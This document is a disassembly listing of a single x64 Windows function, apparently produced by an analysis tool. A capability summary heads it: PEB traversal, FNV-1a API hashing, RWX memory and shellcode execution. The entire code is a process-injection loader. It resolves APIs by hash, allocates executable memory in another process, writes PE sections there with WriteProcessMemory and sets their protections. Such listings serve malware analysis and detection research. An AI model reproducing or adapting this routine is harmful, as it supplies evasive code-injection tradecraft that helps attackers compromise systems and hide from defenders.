Function at 0x140001010
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by fnv-1a hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov byte [rsp + 0x20], r9b
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 7]
sub rsp, 0xc0
mov eax, 0x5a4d
mov rsi, rcx
cmp word [0x140148520], ax
jne 0x140002355
movsxd r14, dword [0x14014855c]
lea r12, [0x140148520]
add r14, r12
mov eax, 0x8664
cmp word [r14 + 4], ax
jne 0x140002355
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140001107
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140001107
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140001102
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x1400010e0
cmp r8d, 0xaeb6049c
je 0x14000110c
test r9d, r9d
jne 0x1400010c0
mov rax, qword [rax]
jmp 0x140001090
mov ecx, dword [rdi + 0x24]
mov r8d, dword [r14 + 0x50]
add rcx, r10
mov dword [rsp + 0x20], 4
movzx edx, word [rcx + r9*2]
mov r9d, 0x3000
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
xor edx, edx
add rax, r10
mov rcx, rsi
call rax
mov r15, rax
test rax, rax
je 0x140002355
xor r13d, r13d
lea rax, [rbp + 0x67]
mov dword [rbp + 0x67], r13d
mov rdx, r15
mov r8d, dword [r14 + 0x50]
mov rcx, rsi
mov qword [rsp + 0x20], rax
lea r9d, [r13 + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r9d, 0x1000
mov qword [rbp - 0x79], rax
mov r8, r12
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, r15
mov qword [rbp - 0x71], rax
mov rcx, rsi
mov rax, qword [sym.imp.KERNEL32.dll_RtlAddFunctionTable]
mov qword [rbp - 0x69], rax
mov qword [rbp - 0x59], r13
mov qword [rbp - 0x51], 1
mov qword [rbp - 0x41], 1
mov qword [rbp - 0x61], r15
mov qword [rbp - 0x49], r13
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140002355
movzx ebx, word [r14 + 0x14]
mov edi, r13d
add rbx, 0x2c
cmp word [r14 + 6], r13w
je 0x14000121c
add rbx, r14
mov eax, dword [rbx - 4]
test eax, eax
je 0x14000120d
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, r12
add rdx, r15
mov qword [rsp + 0x20], r13
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1400012ae
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x1400011e1
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400012a9
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400012a9
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400012a4
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001280
cmp edx, 0xaeb6049c
je 0x140001342
test r9d, r9d
jne 0x140001260
mov rax, qword [rax]
jmp 0x140001230
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140001335
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140001335
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001330
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001310
cmp edx, 0xe93e8317
je 0x14000133a
test r9d, r9d
jne 0x1400012f0
mov rax, qword [rax]
jmp 0x1400012c0
mov rdx, r15
jmp 0x14000232d
mov ecx, dword [r11 + 0x24]
xor edx, edx
add rcx, r10
mov dword [rsp + 0x20], 4
movzx r8d, word [rcx + r9*2]
mov r9d, 0x3000
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
lea r8d, [rdx + 0x40]
add rax, r10
mov rcx, rsi
call rax
mov qword [rbp + 0x57], rax
mov r13, rax
test rax, rax
jne 0x140001420
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x14000141b
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14000141b
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rdx, [rbx + r9*4]
mov ecx, dword [rdx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140001416
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x1400013f0
cmp r8d, 0xe93e8317
je 0x14000133a
test r9d, r9d
jne 0x1400013d0
mov rax, qword [rax]
jmp 0x1400013a0
xor edi, edi
lea r8, [rbp - 0x79]
mov rdx, r13
mov qword [rsp + 0x20], rdi
mov rcx, rsi
lea r9d, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword gs:[0x60]
test eax, eax
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
jne 0x1400015b0
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400014d5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400014d5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400014d0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400014b0
cmp edx, 0xe93e8317
je 0x1400014da
test r9d, r9d
jne 0x140001490
mov rax, qword [rax]
jmp 0x140001460
mov ecx, dword [rbx + 0x24]
mov rdx, r15
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140001595
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140001595
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001590
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001570
cmp edx, 0xe93e8317
je 0x14000159a
test r9d, r9d
jne 0x140001550
mov rax, qword [rax]
jmp 0x140001520
mov rdx, r13
jmp 0x14000232d
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140001625
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140001625
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001620
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001600
cmp edx, 0xaeb6049c
je 0x14000162a
test r9d, r9d
jne 0x1400015e0
mov rax, qword [rax]
jmp 0x1400015b0
mov ecx, dword [r11 + 0x24]
xor edx, edx
add rcx, r10
mov dword [rsp + 0x20], 0x40
movzx r8d, word [rcx + r9*2]
mov r9d, 0x3000
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov r8d, 0x1000
add rax, r10
mov rcx, rsi
call rax
mov r12, rax
test rax, rax
jne 0x1400017be
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400016f5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400016f5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400016f0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400016d0
cmp edx, 0xe93e8317
je 0x1400016fa
test r9d, r9d
jne 0x1400016b0
mov rax, qword [rax]
jmp 0x140001680
mov ecx, dword [rbx + 0x24]
mov rdx, r15
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400017b9
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400017b9
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400017b4
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001790
cmp edx, 0xe93e8317
je 0x14000159a
test r9d, r9d
jne 0x140001770
mov rax, qword [rax]
jmp 0x140001740
mov r9d, 0x1000
mov qword [rsp + 0x20], rdi
lea r8, [0x140002380]
mov rdx, r12
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, qword gs:[0x60]
test eax, eax
mov rax, qword [rcx + 0x18]
mov rax, qword [rax + 0x10]
jne 0x140001a00
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140001875
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140001875
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001870
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001850
cmp edx, 0xe93e8317
je 0x14000187a
test r9d, r9d
jne 0x140001830
mov rax, qword [rax]
jmp 0x140001800
mov ecx, dword [rbx + 0x24]
mov rdx, r15
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140001935
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140001935
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001930
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001910
cmp edx, 0xe93e8317
je 0x14000193a
test r9d, r9d
jne 0x1400018f0
mov rax, qword [rax]
jmp 0x1400018c0
mov ecx, dword [r11 + 0x24]
mov rdx, r13
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400019f9
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400019f9
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400019f4
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400019d0
cmp edx, 0xe93e8317
je 0x14000232a
test r9d, r9d
jne 0x1400019b0
mov rax, qword [rax]
jmp 0x140001980
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140001a75
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140001a75
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001a70
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001a50
cmp edx, 0xc398c463
je 0x140001a7a
test r9d, r9d
jne 0x140001a30
mov rax, qword [rax]
jmp 0x140001a00
mov ecx, dword [r11 + 0x24]
xor edx, edx
add rcx, r10
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], r13
movzx r8d, word [rcx + r9*2]
mov r9, r12
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rdi, rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
test rdi, rdi
jne 0x140001cd0
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140001b45
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140001b45
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001b40
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001b20
cmp edx, 0xe93e8317
je 0x140001b4a
test r9d, r9d
jne 0x140001b00
mov rax, qword [rax]
jmp 0x140001ad0
mov ecx, dword [rbx + 0x24]
mov rdx, r15
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140001c05
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140001c05
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001c00
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001be0
cmp edx, 0xe93e8317
je 0x140001c0a
test r9d, r9d
jne 0x140001bc0
mov rax, qword [rax]
jmp 0x140001b90
mov ecx, dword [r11 + 0x24]
mov rdx, r13
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140001cc9
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140001cc9
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001cc4
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001ca0
cmp edx, 0xe93e8317
je 0x14000232a
test r9d, r9d
jne 0x140001c80
mov rax, qword [rax]
jmp 0x140001c50
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140001d45
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140001d45
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140001d40
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140001d20
cmp edx, 0xfaba0065
je 0x140001d4a
test r9d, r9d
jne 0x140001d00
mov rax, qword [rax]
jmp 0x140001cd0
mov ecx, dword [r11 + 0x24]
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
mov rcx, rdi
add rax, r10
call rax
xor edi, edi
nop dword [rax + rax]
lea rdx, [rbp + 0x5f]
mov dword [rbp + 0x5f], edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x5f], 0x103
jne 0x140002355
xorps xmm0, xmm0
mov qword [rsp + 0x20], rdi
mov r9d, 0x40
lea r8, [rbp - 0x39]
mov rdx, r13
mov rcx, rsi
movups xmmword [rbp - 0x39], xmm0
movups xmmword [rbp - 0x29], xmm0
movups xmmword [rbp - 0x19], xmm0
movups xmmword [rbp - 9], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp - 0x19]
cmp rbx, 0x404040
je 0x14000211c
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x140001d70
mov ecx, 0x1400000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
je 0x140002355
xor edx, edx
mov r8d, 0x1400000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0x47]
mov r9d, 0x1000
mov r8, rsi
mov qword [rsp + 0x20], rdi
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [r14 + 0x14]
movzx eax, word [r14 + 6]
add rbx, 0x18
add rbx, r14
test ax, ax
je 0x140001ed3
mov r13, qword [rbp + 0x47]
lea r8, str..rsrc
lea r9, [0x1400075c0]
nop word [rax + rax]
mov edx, dword [rbx + 8]
test edx, edx
je 0x140001ec0
xor ecx, ecx
nop dword [rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r8 + rcx - 1]
jne 0x140001e76
cmp rcx, 6
jne 0x140001e60
jmp 0x140001e94
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [rbx + rcx]
inc rcx
cmp al, byte [r9 + rcx - 1]
jne 0x140001ec0
cmp rcx, 7
jne 0x140001e80
mov r9, rdx
mov qword [rsp + 0x20], 0
mov edx, dword [rbx + 0xc]
mov r8, rsi
add rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea r8, str..rsrc
lea r9, [0x1400075c0]
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140001e50
mov r13, qword [rbp + 0x57]
movzx ebx, word [r14 + 0x14]
xor edi, edi
add rbx, 0x3c
test ax, ax
je 0x140001f51
mov r13, qword [rbp + 0x47]
lea edx, [rdi + 0x20]
add rbx, r14
nop dword [rax]
mov ecx, dword [rbx - 0x1c]
test ecx, ecx
je 0x140001f3e
mov eax, dword [rbx]
mov dword [rbp + 0x5f], 0
test eax, 0x80000000
jbe 0x140001f0f
mov r9d, 4
jmp 0x140001f1e
test eax, 0x20000000
mov r9d, 2
cmova r9d, edx
mov edx, dword [rbx - 0x18]
lea rax, [rbp + 0x5f]
mov r8, rcx
mov qword [rsp + 0x20], rax
add rdx, r15
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov edx, 0x20
movzx eax, word [r14 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140001ef0
mov r13, qword [rbp + 0x57]
movzx eax, word [r14 + 0x14]
mov r9d, 2
mov rdi, qword [rbp + 0x47]
mov rdx, r15
mov dword [rbp + 0x6f], 0
mov rcx, rdi
mov r8d, dword [rax + r14 + 0x24]
lea rax, [rbp + 0x6f]
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_VirtualProtectEx]
mov r9d, 0x1000
mov qword [rsp + 0x20], 0
mov r8, rsi
mov rdx, r12
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x140002025
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x140002025
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r11 + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x140002020
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140002000
cmp edx, 0xe93e8317
je 0x14000202a
test r9d, r9d
jne 0x140001fe0
mov rax, qword [rax]
jmp 0x140001fb0
mov ecx, dword [rbx + 0x24]
mov rdx, r12
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rdi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x1400020e5
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1400020e5
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [rbx + r9*4]
mov r8d, dword [rdx + r10]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400020e0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x1400020c0
cmp edx, 0xe93e8317
je 0x1400020ea
test r9d, r9d
jne 0x1400020a0
mov rax, qword [rax]
jmp 0x140002070
mov ecx, dword [r11 + 0x24]
mov rdx, r13
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [r11 + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rdi
call rax
mov al, 1
jmp 0x140002357
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x1400021a5
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x1400021a5
mov r11d, dword [rbx + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + r11]
mov edx, 0x811c9dc5
add r8, r10
movzx ecx, byte [r8]
inc r8
test cl, cl
je 0x1400021a0
nop
movsx ecx, cl
lea r8, [r8 + 1]
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [r8 - 1]
test cl, cl
jne 0x140002180
cmp edx, 0xe93e8317
je 0x1400021aa
test r9d, r9d
jne 0x140002160
mov rax, qword [rax]
jmp 0x140002130
mov ecx, dword [rbx + 0x24]
mov rdx, r15
add rcx, r10
movzx r8d, word [rcx + r9*2]
mov r9d, 0x8000
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + r8*4]
xor r8d, r8d
add rax, r10
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r11d, dword [rcx + r10 + 0x88]
add r11, r10
cmp r11, r10
je 0x140002265
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x140002265
mov ebx, dword [r11 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
